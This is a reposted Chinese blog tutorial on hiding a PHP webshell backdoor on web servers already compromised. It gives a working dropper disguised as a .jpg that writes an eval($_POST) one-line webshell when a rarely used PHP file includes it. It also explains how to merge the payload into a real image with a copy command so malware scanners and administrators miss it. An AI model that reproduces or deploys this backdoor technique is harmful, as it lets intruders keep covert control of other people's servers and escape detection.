寻找绝对隐蔽的后门的办法 分享

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
全局流量管理 GTM,标准版 1个月
云解析 DNS,旗舰版 1个月
简介:

nginx前几天nginx和IIS7都爆解析漏洞,搞了几个shell都 丢了,于是想寻找一个超级隐蔽的后门方法。无意中发现include这个函数可以把任意文件解析为php执行.网上去 搜索include函数漏洞,得到的结果很少.绝大多数是关于文件包含漏洞,比如用变量作为包含对像,这只是针对程序,而非针对php下 include()这个函数.关于说这个函数把任意文件解析为php的文章我还没见过,所以暂且称为原创.有找到的联系我一下.呵呵,要 是真没有..这漏洞就是我发现的了,嘎嘎.

include()函数这个漏洞一直存在,而且一直没有补丁,因为利用的人很少.具体漏洞内容 就是它可以用来把任意文件解析为php.比如include(“linuxso.txt”)  include(“linuxso.jpg”); 之类的,全部当作php来执行.因为他是php函数库的问题,所以就跟web服务器和系统无 关了,理论上apache,IIS,nginx或其它web服务器,都是可以的。我只试了apache和nginx,测试 成功.测试方法比较简单,这里就不多说。直接来说这个漏洞有什么用,目前我是用来拿到web shell之后制造超级隐蔽的web后门,其它作用大家自由发挥哈.实验开始.

1,制作一张包含特殊代码的jpg图片. 因为市面上扫描网站木马的程序,都不扫描图片格式的文件,只搜索.php之类的危险后缀.当然.jpg当然是给管理员的感觉是没有 任何隐患滴.新建议一个文件 linuxso.txt  内容如下:

<?fputs(fopen(“linuxso.php”,”w”),”<?eval(\$_POST[linuxso]);?>”)?>   //作用是在当前目录,打开一个linuxso.php 写入一句话
重命名为 linuxso.jpg

2, 找个图片目录上传jpg.路径记下来.

找一个深目录内又几乎用不到的php文件,比如class.archive_read.php,添 加一句话 include(“../../xxx/linuxso.jpg”);  //搞清楚相对路径哦.

3,访问 http://www.xxx.com/class/class.archive_read.php,即在class.archive_read.php 同目录下生成一句话木马 linuxso.php 密码linuxso

连接一句话.上传大马.玩完了之后,记得删掉小马.这样任意他找什 么扫网马的工具.. 也查不到咱的马.嘎嘎,除非…看过这篇文章的管理员.

如果上传假图片怕被发现的话,还 可以用 copy命令,拿一张正常的图片和linux.txt 合成到一起.完成之后,图片可以正常预览.

命令如下   copy 1.jpg/b+1.txt/b 3.jpg/b  因为这样include函数包含之后,图片会正常显示,所以那句include一定要加到一个几乎用不到的php文件里.

来源:http://laoxiege.blog.sohu.com/153960857.html



















本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/345826,如需转载请自行联系原作者

相关文章
|
5月前
|
云安全 域名解析 安全
网站被攻击有什么办法呢?
网站为什么会遭遇DDoS攻击?德迅云安全SCDN如何有效防御DDoS攻击?
|
5天前
|
安全 Windows
某县农业网被植入利用暴风影音2缓冲区溢出等漏洞的恶意代码
某县农业网被植入利用暴风影音2缓冲区溢出等漏洞的恶意代码
|
安全 API Windows
恶意病毒逆向分析实验1
恶意病毒逆向分析
|
SQL 安全 关系型数据库
网站被黑客敲诈勒索的处理办法
我有个好兄弟也是做程序代码的,他前天突然跟我说他之前接的一个私活网站,突然被黑客入侵了,拿着数据库管企业老板要挟要钱,不给钱的话说要把数据全删了,因为我本身就是做网站漏洞修复的服务商,有安全漏洞的问题,好兄弟都会想到我,他很奇怪,因为用的mysql数据库,数据库3306那个端口没对外开放,怎么会被人把这个数据库入侵了,我一猜我就说那肯定是这个数据库被别人Sql注入漏洞攻击了。通过了解知道网站用的是PHP脚本开发的,因为目前PHP很多源码都是存在一些漏洞的。
475 0
网站被黑客敲诈勒索的处理办法
|
安全 NoSQL Shell
服务器挖矿木马解决办法与预防措施
服务器挖矿木马在17年初慢慢大规模流行,hack利用网络入侵控制了大量的计算机,在移植矿山计划后,利用计算机的CPU和GPU计算力完成了大量的计算,获得了数字加密货币。17年慢慢爆炸后,挖矿木马慢慢变成互联网的主要危害之一。网站服务器如果被挖矿木马团伙攻陷,正常业务服务的性能将遭受严重影响,挖矿木马会被感染,也代表着网站服务器权限被hack攻陷,公司的机密信息可能会泄露,攻击者也可能同时彻底破坏数据。
529 0
服务器挖矿木马解决办法与预防措施
|
SQL 安全 Java
服务器被黑该如何查找入侵、攻击痕迹
当公司的网站服务器被黑,被入侵导致整个网站,以及业务系统瘫痪,给企业带来的损失无法估量,但是当发生服务器被攻击的情况,作为服务器的维护人员应当在第一时间做好安全响应,对服务器以及网站应以最快的时间恢复正常运行,让损失减少到最低,针对于黑客攻击的痕迹应该如何去查找溯源,还原服务器被攻击的现场,SINE安全公司制定了详细的服务器被黑自查方案。
1022 0
服务器被黑该如何查找入侵、攻击痕迹
|
云安全 监控 安全
Java开发远程调试易埋隐患,JDWPMiner挖矿木马后门分析
近日,阿里云安全监测到一种利用JDWP RCE漏洞进行挖矿的恶意攻击,对用户资产危害极大,近期传播有所上升,提醒广大用户注意防护。
988 0
Java开发远程调试易埋隐患,JDWPMiner挖矿木马后门分析
|
安全 Java C#
开始防破解--该死的杀毒软件
开始防破解--该死的杀毒软件
211 0
|
安全
谨防沦为DLL后门木马及其变种的肉鸡
卡巴斯基实验室近期发现有一种名为“DLL后门木马”的恶意软件活动比较频繁。 该木马采用Delphi语言编写,未加壳,但其具有伪造的数字签名,而且其变种竟然高达390多种。此木马主要通过网页挂马等方式感染用户计算机,危害性比较大。
920 0